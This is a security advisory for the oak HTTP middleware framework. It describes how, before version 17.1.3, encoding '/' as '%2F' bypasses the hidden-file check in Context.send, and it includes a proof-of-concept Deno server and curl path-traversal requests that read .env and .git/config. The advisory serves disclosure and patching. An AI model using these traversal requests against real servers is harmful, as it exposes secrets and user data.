`oak` is a middleware framework for Deno's native HTTP server, Deno Deploy, Node.js 16.5 and later, Cloudflare Workers and Bun. By default `oak` does not allow transferring of hidden files with `Context.send` API. However, prior to version 17.1.3, this can be bypassed by encoding `/` as its URL encoded form `%2F`. For an attacker this has potential to read sensitive user data or to gain access to server secrets. Version 17.1.3 fixes the issue.

Affected: npm: @oakserver/oak

### Summary

By default `oak` does not allow transferring of hidden files with `Context.send` API. However, this can be bypassed by encoding `/` as its URL encoded form `%2F`.

### Details

1.) Oak uses [decodeComponent](https://github.com/oakserver/oak/blob/3896fe568b25ac0b4c5afbf822ff8344c3d1712a/send.ts#L182C10-L182C25) which seems to be unexpected. This is also the reason why it is not possible to access a file that contains URL encoded characters unless the client URL encodes it first.

2.) The function [isHidden](https://github.com/oakserver/oak/blob/3896fe568b25ac0b4c5afbf822ff8344c3d1712a/send.ts#L117-L125) is flawed since it only checks if the first subpath is hidden, allowing secrets to be read from `subdir/.env`.

### PoC

```ts // server.ts

import { Application } from "jsr:@oak/oak@17.1.2";

const app = new Application();

app.use(async (context, next) => { try { await context.send({ root: './root', hidden: false, // default }); } catch { await next(); } });

await app.listen({ port: 8000 }); ```

In terminal:

```bash # setup root directory mkdir root/.git echo SECRET_KEY=oops > root/.env echo oops > root/.git/config

# start server deno run -A server.ts

# in another terminal curl -D- http://127.0.0.1:8000/poc%2f../.env curl -D- http://127.0.0.1:8000/poc%2f../.git/config ```

### Impact

For an attacker this has potential to read sensitive user data or to gain access to server secrets.